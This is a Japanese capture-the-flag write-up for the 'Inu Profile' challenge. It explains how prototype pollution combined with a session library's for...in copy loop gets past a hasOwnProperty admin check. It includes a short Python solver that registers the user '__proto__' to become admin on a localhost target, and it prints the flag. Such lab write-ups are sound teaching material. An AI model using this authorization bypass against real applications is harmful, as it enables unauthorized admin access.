Inu Profile (Daily Alpacahack B-SIDE) - writeup
JAInu Profileを解いている際に、面白い挙動を見つけたので書き残しておきます。
作者様の想定解をご覧になってからお読みください。
方針
以下の箇所をご覧ください。
app.get('/admin', async (req, res) => {
const { username } = req.session;
if (!req.session.hasOwnProperty('username') || username !== 'admin') {
return res.send({ 'message': 'you are not an admin...' });
}
return res.send({ 'message': `Congratulations! The flag is: ${FLAG}` });
});
このconst { username } = req.session;の箇所について、Prototype pollutionを利用してusernameを"admin"にすることが可能です。しかし、req.session.hasOwnProperty('username')というチェックが行われているため、Prototype pollutionをで"admin"となってしまったかを検出しているように思われます。
しかしながら、このチェックは条件によっては正しく動きません。具体的には、すでにCookieにセッションIDが保存されており、セッションIDからsessionオブジェクトを再構成する際に、req.session.hasOwnProperty('username')が真となるように構成されてしまうからです。
しかし、なぜ?
この挙動はたまたま見つけたのですが、考えてみると少し不思議です。Prototypeチェーン上の内の全てのフィールドがsessionオブジェクトから直接参照されるということなのですが、具体的にどのような処理が行われてこうなるのでしょうか。
関係するコードはここにありました。
if (prevSession) {
// Copy over values from the previous session
for (const key in prevSession) {
(
key !== 'cookie' &&
key !== 'sessionId' &&
key !== 'encryptedSessionId'
) && (this[key] = prevSession[key])
}
}
このようにfor文でfor(const key in ...)のようにすると、Prototype pollutionで汚染された値も列挙されてしまうようです。従って、req.session.usernameもsessionに直接紐づく値になるんですね。
ソルバー
import requests
URL = "http://localhost:3000/"
r = requests.post(f"{URL}register", json={
"username": "__proto__",
"profile": {
"username": "admin",
},
"password": "foobar"
})
print(r.text)
s = requests.session()
r = s.get(f"{URL}")
r = s.get(f"{URL}admin")
print(r.text)
# Alpaca{the_best_dog_in_the_world_is_custom-kun}